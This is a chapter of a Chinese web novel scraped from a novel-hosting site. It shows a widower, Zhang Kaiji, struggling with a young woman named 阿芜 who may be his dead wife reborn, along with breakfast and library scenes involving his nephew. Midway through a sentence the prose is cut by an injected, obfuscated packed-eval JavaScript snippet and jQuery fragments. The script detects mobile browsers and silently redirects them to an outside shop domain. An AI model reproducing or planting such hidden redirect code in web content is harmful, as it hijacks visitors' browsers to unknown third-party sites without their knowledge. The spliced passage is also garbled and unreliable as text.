文趣网 > 其他小说 > 不负卿卿再少年 > 5. 05
    05难堪

    张开霁自然在想阿芜。

    想他昨日在廊下捏一晚上泥都没有想明白的问题。

    这个阿芜与他的阿芜是同一人吗?

    当年他亲眼看着阿芜下葬,这个答案原本不必多想,可因为他心里那点不能诉诸于口的侥幸,那一丝见不得人的妄想,他还是忍不住将这个问题嚼碎了来回反刍。

    若是,自然好。

    若不是,阿芜泉下又该如何取笑他?

    他早已不怕她的取笑,只是觉得不甘。

    可即便心中万般不甘,也无法阻止他反复回想起昨晚的场面。

    她害怕他。

    那个曾几何时会换着法子折腾他的阿芜,如今对他只剩下抗拒和害怕。

    他体会过她那样的真挚与热烈,又如何能接受再与她形同陌路?

    他在自欺欺人。

    这才是最叫他难堪的地方。

    张开霁闭眼,只觉得喉间无比干涩,凭自己如何也咽不下去,又不想在旁人面前露出马脚,只能一遍遍一点点生生往下吞。

    “叔父……”

    张简之有点慌了,“叔父我错了,我其实……我其实不是这个意思,就是有些疑惑想拖延几日……刚才是话赶话才口不择言。”

    张开霁不语。

    “明知叔父心结难解我还有意隐瞒,我真是罪该万死!”他咚的一声跪下,“求叔父责罚。”

    院中呼呼吹来一阵风,吹散两人之间的干热。

    张开霁睁眼,已看不出丝毫艰涩,他轻轻扶起张简之,声色如春风化雨:“她在芜苑东边,我原也不是打算续娶,叫你委屈了。”

    张简之都要哭了,一个劲摇头:“不是叔父,可以娶,我支持你续娶!”

    张开霁替他拍干净膝上的灰尘:“你该知道的,人上了年纪难免神思不清胡言乱语,今日只当我糊涂了,回头定然不会再犯。”

    “叔父?”

    “这话你也可以带给她,叫她不要害怕。”

    “叔父!”

    “好了不必多言,我意已决。待叙昭回来你们二人自己商议便可。”

    说到这儿张开霁拍了拍他的肩膀,转身回院。

    “叔父我刚说的都是真……”

    张开霁脚下不停,张简之知道他的脾性,换了个说法,“我约了她在二门花厅用早饭,叔父可要一起?”

    再看看,再看看说不定能回心转意。

    张开霁果然停步。

    “吃个饭而已,这回不见,之后也总要见的。”他补充。

    “……”

    张开霁凝噎片刻,“你安排吧。”

    得了这话张简之才松一口气。

    张开霁回到院里,并未去书房。

    他现在浑身都是泥水,根本见不得人,必要收拾干净。

    房中的衣柜打开,张开霁翻找片刻依旧不见自己想要的东西,叫来管事:“上回你说给我置办的新衣呢?我怎么没看见?”

    管事稀奇得很,但随即笑开:“在库房里放着呢,阿郎终于肯穿得鲜亮些了?”

    “去,都拿来。”

    “哎,我这就去。”

    管事碎步跑走,不过转瞬功夫就一阵风回来。他进来时,张开霁正在梳妆镜前修剪胡须。

    因为许久不曾亲手打理,看起来有几分生疏。

    “等会儿放着我来吧阿郎?先去换衣裳?”

    “无妨。”

    张开霁未动,专注看着镜子里的下颌,顺着须根一点点往下刮。

    铜镜不甚清晰,他手又急得很,免不了刮破一道口子。

    “嘶……”

    “阿郎?还是我来吧?”

    管事放下怀中的衣裳,试探着接过他手中的刀片。

    张开霁坐了下来。

    干燥的须根一点点断裂,发出规律的沙沙声。

    他看着镜中的下颌逐渐光洁,忍不住提了提嘴角:“你瞧着我这样有年轻一些吗?”

    管事自然点头:“阿郎正当盛年本就不老,剃了须看着比大郎君还年幼几岁。”

    “当真?”

    “真金还真。”

    张开霁闻言眉间略松,转眼又看见自己斑白的双鬓,笑意很快退下去。

    “你尽哄我,和她一样。”

    “我的确和夫人一样,不会哄人只会说实话。”

    张开霁没再说什么,如此沉默到胡须褪尽,管事收拾干净要去拿衣服,手忽然被按住。

    “就这样吧,就到这儿。”

    “阿郎……不换了?”

    “不换了。”

    “那早饭?”

    “也不去了。”

    “可……”

    “连你也觉得我该去?”

    “说不准,是夫人转世来的呢?算算时间不正好对上?”

    “胡言乱语,这些不着边际的话以后莫要再说。”张开霁左右打量镜子两眼,敛容正身,“叫厨下备两碟酸扒菜过去,方便下粥。”

    “是。”

    “还有,蒸糕再叫人去买点儿。”

    “阿郎吃?还是?”

    “多问。”

    “哎!”

    管事抿唇出去了。

    花厅。

    桌上放了两碟酸菜。

    阿芜看了一眼满脸热情仿佛献宝一样的厨子,又看了眼仿佛石化的张简之,干笑几声。

    “哈哈好的,多谢你,也谢谢你们令君,居然还记得我们那儿爱吃这口。”

    还以为什么好东西呢,就这点不值钱的酸菜在哪儿不能吃?她来长安是吃这个的吗?

    “您尝尝合不合口味?”

    “嗯!好吃!非常地道!”

    阿芜飞快捻了一小片,合着鸡腿囫囵吞下去。

    厨子心满意足。

    她又抓起盘里一只绿色的糕点,咬下一口眼神骤亮:“这个好吃,这也是你做的?”

    厨子:“这沫茶蒸糕是外头买的,不是什么稀罕玩意儿,娘子要喜欢,随时差人来说一声。”

    “我觉得挺稀罕的,你能不能写个方子给我,等我以后自己试试?”她知道这话有些冒犯,在他们村里,这样的吃食方子可都是家里的宝贝辛秘,但万一他答应呢?

    “不必写,娘子听就是。”厨子居然答应了,张口就将做法说了个干净,“这方子长安人人皆知,做起来也简单,只要拌糊的时候注意点比例,没有不成事儿的。”

    阿芜很是感激,连声道谢。

    厨子离开后,阿芜戳了戳张简之。

    “看来你没骗我。”

    “什么?”

    “一碟酸菜,一碟满大街都能买的糕点,你叔父确实抠门。”

    “你!”张简之表情十足愤懑,“你懂什么,这不一样……”

    “哎,话说你叔父什么时候见我?”阿芜敷衍点头,换了个话题。

    “不是见过了吗?”

    “那能一样吗?玉佩的事总得给我个交代吧?”

    “……等叙昭回来再说吧。”

    “你弟弟?有他什么事?”

    “叔父昨日说,你可在我和他之间……随意挑一个。”他说出两分死意。

    “当真?”

    张简之点头。

    阿芜看出他心不在焉。

    “怎么,你今天又不乐意了?”

    “我……”

    张简之有口难言,实在摸不准叔父怎么想的,不敢推又不敢接。

    “那你弟弟什么时候回来?”阿芜无所谓道。

    “就这几天。”

    “哦,”阿芜点点头,“那回来之前我能出去玩吗?”

    “自然。”

    张简之不光应允,还即刻叫人去取钱,让陪在阿芜身边,与她做个帮手。

    阿芜也不推辞,给什么要什么,吃过饭就带人逛街去了,将昨日想买想吃的东西尽数买了个遍。

    回来时天已经黑透。

    又是折腾一番,倒头就睡。

    第二天醒来已是日上三竿。

    吃过饭她在那堆大盒小盒里挑挑拣拣,选中一个去找张简之。

    她在这儿又吃又喝的,总得给他表示表示。结果问了一圈,却得知他不在自己院中。

    “那在哪儿?”

    “在大书房。”

    管事说大显然谦虚了,应该说巨才对。

    阿芜来时院中摊满了大大小小的书箱,张简之捧着书卷正在一本本晾晒,额头

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614288|206040||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上全是汗。

    “张简之?”

    “起了?”

    “给你带了一点礼物!”

    “什么?”

    张简之停下,好奇看着她手里的礼盒。

    盒子拉开,露出一套大大小小的精装毛笔。

    张简之甫一看见眼皮就跳了跳:“你干什么?又要骗我?”

    阿芜莫名其妙:“好好的我骗你干嘛?这是送你的,他们不是说你读书很厉害吗?又会画画,那送笔肯定很合适啊。”

    张简之看着她的脸,眼神奇怪:“你到底是不是?”

    “是什么?你们一个个怎么都这么奇怪?听不懂人话似的,我都说送你了,要不要?”她收手。

    “要要要。”张简之回神,立刻抢过来。

    手上一着急,书册掉了一地。

    阿芜帮他捡了几本起来,随手翻了两页,除了觉得字好看其他看不懂一点,还给他。

    “这都是什么书啊?看起来好旧了。”

    “你说这些?我叔父年轻时的诗文信表。”

    “这么多?”这得有十几本了吧?

    “大惊小怪,这才哪儿到哪儿啊?”他画了个圈,“要当年没烧那一波,现在十个箱估计都放不下。”

    “这么能吹?”

    “吹什么?”

    “上头的马屁啊。”

    “什么意思?”

    “他们说的,写诗就是吹牛吹马。”

    “谁跟你说的?我叔父诗风革新不见丝毫浮靡之风,年轻时自成一派是众所周知的!从来不吹任何人马屁!”

    “怎么可能?这么多本难道一句都没有吗?”阿芜说着又捞起一把,这次不是书册,是一些零散的旧纸,看起来像是信件。

    “哎!谁让你碰的?快放下!”张简之大喝,一把从她手中夺过。

    “不过就是几张废纸,至于这么小气……”

    “这不是小气的问题,是原则,这些东西我平日都不能轻易碰,你粗手粗脚弄坏了叔父肯定得发火。”他边说边小心翼翼抚平放回去。

    “不能碰就不能碰,你这么凶干什么?”

    “我没有。”

    “你有。”

    “我没有。”

    两人说着说着开始互相置气。

    阿芜一时气不过,抢过刚送给他的礼盒扭头跑了。

    “哎……”

    张简之愕然。

    望着她气吼吼的背影撇嘴:“你才不是我叔母,心眼没她十分之一大。”

    二门正厅。

    张开霁捧着一本折子坐在上首,面前站了两个噤若寒蝉的文士。

    他冷脸撂下:“你们自己看看这对吗?没一处是对的。”

    有人即刻禀手:“老师息怒,若觉得这文章不堪入眼,还请老师赐教,明日我们二人改过之后再来。”

    “改……”

    张开霁正要落掌拍桌,晃眼看见西边游廊方向划过一个带气的影子,因为太过熟悉,到嘴的话一时卡在嘴边。

    阿芜光顾着跑路,并没有第一时间留意厅里的动静。

    等到她从正厅门口路过时,恰好看见里头师慈徒孝的场面。

    “亭修这是说哪儿的话,你家中出了那事力有不逮也是情有可原,我怎会因此怪罪你?快起来吧,你们都起来……”

    阿芜觉得自己不好打搅,快步溜过去。匆忙间看见那位令君似乎叼起了两个年轻人。

    和小肚鸡肠的张简之相比,这位叔父实在称得上仙鹤一般的人物,脾气太好了!

    想想那位早死的叔母,阿芜实在替她可惜。

    厅里的两个年轻人受宠若惊。

    “不必不必老师,我们自己来。”

    “多谢老师体恤……”

    张开霁在听,也没在听。

    他的袖口还紧紧攥在手里,余光时不时挪向门口。

    过了一会儿没再听见有什么其他动静,他端起茶喝了一口。

    “咚。”茶杯突兀落桌。

    厅里絮絮叨叨的谈论再次停下。

    “老师……”

    “老师什么老师?没点眼力见,都滚。”他瞬间变脸。

    两人又惊又疑,带着一头雾水离开。